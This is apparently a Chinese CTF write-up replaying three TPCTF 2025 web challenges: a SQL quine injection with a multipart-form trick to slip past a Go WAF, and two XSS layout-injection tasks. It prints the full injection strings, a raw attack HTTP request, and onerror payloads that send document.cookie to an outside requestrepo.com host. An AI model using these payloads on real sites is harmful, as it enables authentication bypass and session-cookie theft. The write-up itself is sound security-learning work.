tpctf web复现

supersqli

def flag(request:HttpRequest):
if request.method != 'POST':
return HttpResponse('Welcome to TPCTF 2025')
username = request.POST.get('username')
if username != 'admin':
return HttpResponse('you are not admin.')
password = request.POST.get('password')
users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))
try:
assert password == users[0].password
return HttpResponse(os.environ.get('FLAG'))
except:
return HttpResponse('wrong password')

根据这个flag接口判断
输入的密码要与查询出来的密码相同
所以要么想办法获得真正的密码
要么输出和查询语句一样的语句
这种注入叫做quine注入
从基础示例理解:

replace(
'replace(".",char(46),".")',
char(46),
'replace(".",char(46),".")');

但是实际payload要加很多东西来闭合
所以实际payload结构如下:

UNION SELECT 1,2, 
REPLACE(
REPLACE(
'[Inner_String]',
CHAR(34), CHAR(39)
),
CHAR(36),
'[Outer_String]'
) || '

payload为

' UNION SELECT 1,2, 
REPLACE(
REPLACE('
" UNION SELECT 1,2, REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") || "'
,CHAR(34),CHAR(39)
),
CHAR(36),
'" UNION SELECT 1,2, REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") || "'
) || '

之后需要绕过go的一个waf
防的很严,需要用一个特性绕过
使其不解析
https://blog.csdn.net/Thewei666/article/details/142408096

数据流:

POST /flag/ HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "1564-5ee8764d17ec0"
If-Modified-Since: Mon, 28 Nov 2022 12:56:03
Content-Type:multipart/form-data;boundary=----abcdefg
Connection: close
Content-Length: 453

------abcdefg--
Content-Disposition: form-data; name="username"

admin
------abcdefg--
Content-Disposition: form-data; name="password"; filename="password"
Content-Disposition: form-data; name="password"

1' union select 1,2,replace(replace('1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")-- ',char(34),char(39)),char(35),'1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")-- ')--
------abcdefg--

成功获得

flag{testflag}"

baby-layout

本题利用HTML属性注入以及事件驱动执行
payload:

{"layout":"<img src='{{content}}'>"}
{"content":"x\" onerror=\"alert(1)","layoutId":1}

这样的话就成了:

<img src="x" onerror="alert(1)">

往接收的网站弹即可

{"content":"x\" onerror=\"fetch('https://kpq5ma0x.requestrepo.com/?a='+document.cookie)","layoutId":1}

safe-layout

aa<style>{{content}}<{{content}}></style>
img src="<style></style>" onerror="fetch('https://kpq5ma0x.requestrepo.com/?a='+document.cookie)"

实际上是这个效果:

aa<style>img src="<style></style>" onerror="fetch('https://kpq5ma0x.requestrepo.com/?a='+document.cookie)"<img src="<style></style>" onerror="fetch('https://kpq5ma0x.requestrepo.com/?a='+document.cookie)"></style>

不管格式发生了什么,
只要有完整的img标签,就会触发请求
请求不到就onerror带出cookie